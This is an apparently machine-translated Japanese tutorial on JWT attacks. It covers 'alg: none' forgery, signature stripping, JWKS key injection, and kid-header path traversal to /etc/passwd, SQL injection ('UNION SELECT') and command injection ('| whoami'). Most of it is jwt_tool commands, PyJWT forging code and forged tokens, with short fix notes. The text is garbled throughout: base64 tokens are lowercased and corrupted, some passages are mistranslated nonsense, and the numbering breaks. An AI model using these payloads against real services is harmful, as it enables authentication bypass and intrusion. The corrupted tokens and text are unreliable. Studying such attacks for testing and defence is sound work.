0x01 JWT Basics
1。JWT JWTの紹介は、JSON Webトークンのフルネームであり、JSONオブジェクトをキャリアとして使用して情報を送信します。通常、アイデンティティ認証と情報交換に使用されます。 JWTは、キー(HMACアルゴリズム)またはRSAまたはECDSAのパブリック/プライベートキー2。JWT形式を使用して、ユーザーがサイト内のリソースにアクセスするたびに、対応するリクエストヘッダー認証はauthorization: JWTにデフォルトです。 JTWトークン認証はEYJから始まります。 JWTのデータのヘッダーは次のとおりです。JWTのデータは、ヘッダー(ヘッダー)、ペイロード(ペイロード)、署名(署名)の3つの部分に分かれています。分離されたJWTの含有量は、base64urlでエンコードされています。これが特定のトークンの例です。 eyjrawqioijrzxlznjm2myzwexyznmmtezzzjy0owrjotm4owrknzfioduxiiwidhlwiislduiiwiywxnijoiulmyntyifq.eyjzdwiioijkdwjozt eymyj9.xicp4pq_wif22bavtpmalwivaad_eebhdoqe2mxwhre8a7930llfqq1lfqbs0wlmht6z9bqxbros9jvq7eumeufwfykrzfu9potoee79wxnwt xgdhc5vidvrwiytkrmtgkiyhbv68dufpi68qnzh0z0z0m7t5lkedvnivforxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxnzaa9iyawheh1b44ougopm3saxysg-sg-saxisg- Q1R5X_5NLWOGHHYWY2KD9V4NK1BAQ5KHJIL8B3NC77GVIIVVZI9N_KLPCX5XSUW9SSSUFR9D99KAKYMUSXXXXEIZVM-7OS_DW3TTZ2F-TJSNI0PRHHLHLFW (1)ヘッダーには、署名アルゴリズム(ALG)、トークンタイプ(JWT)、暗号化アルゴリズム(ALG)、またはアルゴリズムで使用されるキーファイルなどのJWT構成に関する情報が含まれています(サーバーには複数のキーファイルが必要なときに使用)。 header: eyjrawqioijrzxlzlznjm2myzwexyznmmtezzjy0owrjotm4owrknzfiodhlwiiwidhlwijoislduiiiwiywxnijoiulmyntyifqbase64 decoding:decoding: {'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851'、 'typ':'jwt'、 'alg':'rs256'}ここで、トークン認証タイプはJWTであり、エンパイシスalgorithmはrs256です。(2)ペイロードペイロードは、ユーザー名(test123)payload: eyjzdwiioiijkdwjozteymyj9
(3)の署名署名が必要なヘッダーを必要とする署名の署名を提供する必要があります。 RS256(RSA非対称暗号化と秘密鍵署名)およびHS256(HMAC SHA256対称暗号化)アルゴリズム。署名の目的は、JWTが改ざんされていないことを確認することです。以下は、HS256を使用してJW=WTを生成するコードの例です。
hmacsha256(base64encode(header) + '。' + base64urlencode(ペイロード)、シークレット)signature:xicp4pq_wif22bavtpmalwivaad_eebhdoqe2mxwhre8a7930ll fqq1lfqbs0wlmhht6z9bqxbros9jvq7eumeuufwfykrzfu9potoee79wxnwtxgdhc5vidvrwiytkrmtgkiyhbv68dufpi68qnz H0Z0M7T5LKEDVNIVFORXDXWB7IQSAUENKZZF67Z6UARBZE8ODNZAA9IYAWHEH1BOUG0OPM3SAXYSG-Q1R5X_5NLWOGHHYWY2K d9v4nk1baq5khjil8b3nc77gviivvzi9n_klpcx5xsusw9ssufr9d99kakymusxxeizvm-7os_os_dw3ttz2f-tjsni0dyprhhlfw
0x02 JWT共通のセキュリティ問題
1.署名アルゴリズムは、None(CVE-2015-9235)に変更できます。JWTは、アルゴリズムの設定を「なし」に設定します。 「アルグ」フィールドが「なしに設定されている場合、署名は空になるため、トークンはすべて有効です。1つ:元のペイロードデータは変更されず、署名アルゴリズムは未チェックの署名アルゴリズムに基づいてチェックされません。 eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczpcl1wvzgvtby5zam9lcmrsyw5na2vt cgvylm5sxc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozw xsbyi6indvcmxkin19.llhtxxvqkjlvw8cn_8kb3tereepm2-rafnwz_h0pzbghttps://jwt.io/ jwt_tooを使用して攻撃します(このツールは、アルゴリズムに署名せずに元のペイロードデータを変更せずに取得したトークンに適しています)python3 jwt_tool.py eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczpcl1wvzgvtby5zam9lcmrsyw5na2vtcgvylm5sxc8ilcjpyxqioje2n Ji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6indvckin19.llhtxxvqkkjlvw8cn_8kb3tereepm2-rafnwz_h0pzbg -X A
GET tokenej0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxbl ci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6indvckin19。
取得したトークン確認認証リクエスト3http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
python3のpyjwtモジュールを使用してペイロード内のデータを変更し、脆弱性を使用してトークンを再生します
JWTをインポートします
encoded=jwt.encode({'iss':' https://demo.sjoerdlangkemper.nl/','iat': 1662737965、 'exp'3360 1662739165、' data '3360 {'hello':' '' '' '' '' ' algorithm='none')
エンコード
'eyj0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxblci 5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozwxsbyi6imfkbwluin19。 '
toekn:eyj0exaioiijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rbw8uc2pvzxjkbgfuz2tlb xblci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6imfkbwluin19。修復ソリューション:JWT構成は、必要な署名アルゴリズム2のみを指定する必要があります。検証済みの署名ではないサーバーは、JWT署名を確認しません。ペイロードを変更してから、トークンを直接リクエストするか、署名を直接削除して、それがまだ有効かどうかを確認するためにもう一度要求することができます。オンラインツールjwt.io
を介してペイロードデータを変更します
次に、取得したトークンは認証要求を実行しますeyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczovl2rbw8uc2pvzxjkbgfuz2tlbxblci5ubc8ilcjpyxqioje 2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6imfkbwlucyj9fq.sv4qgoibsqsp7yeha2qbhk10za6z42uq dzuv1iumpnuまたは署名を削除し、再び認証を要求します:eyj0exaioiijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczovl2rbw8uc2pvzxjkbgfuz2tlbxbl ci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6imfkbwlucyj9fq。修復ソリューション:JWT構成では、必要な署名アルゴリズムのみを指定する必要があります3。JWKS公開キーインジェクション——鍛造キー(CVE-2018-0114)新しいRSA証明書ペアを作成し、JWKSファイルを注入し、攻撃者は新しい秘密キーでトークンに署名することができます。攻撃者は、元の署名を削除し、ヘッダーに新しい公開キーを追加し、公開鍵に関連付けられた秘密鍵に署名することにより、JWTを偽造できます。 eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fyckkifq.aqncvshlnt9jbftpbdbt2gbb1myhiissddp8sqvgw eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fyckkifq.aqncvshlnt9jbftpbdbt2gbb1myhiissddp8sqvgw -x i
取得したトークン認定: eyj0exaioijkv1qilcjhbgcioijsuzi1niisimp3ayi6eyjrdhkioijsu0eilcjrawqioijqd3rfdg9vbcisinvzzsi6innpzyisimuioijbuufufcii wibii6ijfqzdngtxbfuvm0su15wjj4tlh5uejrdnrcwnbezg8wakfgtetwemdfsem1ze1vu3zrr1pdwvpwzljpmlpmlpatdzouknwnw9duwrhegd0mzzqz vv2merhtg8zlvjacgtzcfhpt3qzwu00rdu3sdvqllewbexcfh1dhnbrzliaxj6sengm2l0alg1s0zha2ljtkw5cgsysnlordrtu1boouvqmkvhexmv9sv 1O1N1ZACGFMDDJXLXB1THQ3SWNSYNHMBEHLAUZXRTLUSUTNRW1SCEXBVJBRAJFIWEK3BVHMZEQXT0NYS2W0SDQBEFLWG5LY0XQTEJNB2Y4RZBTEXRGSU1PN1 bvqvpuzuvhvhjizmktnlzkngnrcunfdjjyqur1whbtsu5mofbrbxzzxckdjtk1xaeeewvxzvcvjcdnfhr0zbwnbrt2dhr1vuvktvdzzjotxlusj9fq.yj9fq.yj9fq.jotxlusj9fq PBII6INRPY2FYCGKIFQ.JGQSWHBZAAS_4DAFBTKKK-DOBPUEDRW3TZUBONKULEIOA_LL6YRWZVJ0RJQMH2HILHKRIXTCE7RTJPIQEJAHV_5EMF553QKU2JDB M6UN19DLTRTBFCH3FIKMRKH1P-CUUW7AXO2CAE1GWNVGK74D3VNULGBK5QY4UZRYRZJUO-7DX5VHUFV3EJ8J-FRRFQDO_DYAJB7CBWHUB4RHCUKIWJ9FZ3ZE 5jikmxrcmzievcssuxjayib7rpm-li34ywsqboga82glkt4xqjulzzqf7eysu1q3jnuqpid24t1zre7chm3btbzw4csrprspprsprsprs8z5e-gugzaph_vodmlxa9ta
修正:JWT構成は、検証に受け入れるパブリックキーを明確に定義する必要があります。4。空の署名(CVE-2020-28042)トークンPython3 jwt_tool.pyの最後から署名を削除しますeyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgifq.aqncvshlnt9jbftpbphdbt2gbb1myhiissdddp8sqvgw -x n token認証eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq。修理ソリューション:JWTライブラリはこの問題を修正する必要があります4。 eyjrawqioijrzxlznjm2myzwexyznmmtezzzjy0owrjotm4owrknzfioduxiiwidhlwiislduiiwiywxnijoiulmyntyifq
Base64 decoding:decoding: {'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851'、 'typ':'jwt'、 'alg'3360'rs256'}ここで、認証タイプはJWTです。キー、キーキッドのパスは次のとおりです:keys/3c3c2ea1c3f113f649dc9389dd71b851k、次に/key/key/3c3c2ea1c3f113f649dc9389dd71b851kおよび/KEY/3C3C2EA1C3F113F649DC9389DD71B851K.PEM5.KIDパラメーターの脆弱性このパラメーターは、トークンに署名するための複数のキーがある場合に役立ちますが、攻撃者はコンテンツが予測可能な特定のファイルを指すことができるため、注射可能な場合は危険になります。 KIDパラメーターはキーファイルの読み取りに使用されますが、システムはユーザーがキーファイルを読み取りたいかどうかを知りません。したがって、攻撃者がパラメーターをフィルタリングしない場合、攻撃者はシステム内の任意のファイルを読み取ることができます。 {'typ':' jwt '、' kid ': '/etc/passwd'、 'alg':' HS256 '}
token:eyj0exaioiijkv1qilcjrawqioiivzxrjl33bhc3n3zcisimfszyi6ikhtmju2in 0.eyjsb2dpbii6inrpy2fycgkifq.cpsfiq-_mnwm7df6zzhwpl22ibkgf447iw6_egrp6pfq注: /dev /null in linuxシステムは空のデバイスファイルと呼ばれ、何も返さない。任意のファイルを読み取ることができますpython3 jwt_tool.py jwt -i -hc kid -hv '././dev/null' -s hs256 -pc login -pv'ticarpi 'パラメーター説明:次のようなペイロードの宣言変数名:ログイン、-pv宣言変数ログインの値を設定するか、CSSやJSなどのWebルートディレクトリに存在するファイルを使用して、そのコンテンツを使用して署名を確認します。
python3 jwt_tool.py -i -hc kid -hv 'path/of/the/the file' -s HS256 -P 'ファイルコンテンツ'(2)SQLインジェクションKIDは、データベースからデータを抽出することもできます。この時点で、SQL注射攻撃を引き起こす可能性があります。 SQLステートメントを構築してデータを取得するか、署名検証をバイパスすることにより{'typ':' JWT '、' kid': 'key1111111111111111111111111111111111111年Union Select 'SecretKey' - '、' alg': 'HS256'} :eyj0exaioiijkv1qilcjrawqioijrzxkxkxmtexmtexmscgfhwgdw5pb24gc2vszwn0icdzzwnyzwnyzxrrzxknic0tii wiywxnijoisfmyntyifq.eyjsb2dpbii6inrpy2fycgkifq.i2od_v7uvbiqillcyuqp_hdy28yp1ifzets90fk-tdc (3)コマンドインジェクションは、子供のパラメーターをフィルタリングする際に厳密ではありませんが、利用条件は比較的厳格です。サーバーバックエンドがRubyを使用し、キーファイルを読み取るときにオープン関数を使用する場合、コマンドインジェクションはパラメーターの構築によって引き起こされる場合があります。 {'typ':' jwt '、' kid': 'keys/3c3c2ea1c3f113f649dc9389dd71b851k | whoami'、 'alg':' hs256 '} token:eyj0exaioiiijkv1qilcjrawqioijrzxlznjm2myzwexyznmmtezzzjy0owrjotm4owrknzfioduxa3x3ag9hbwkilcjhbgcioiiuziuzi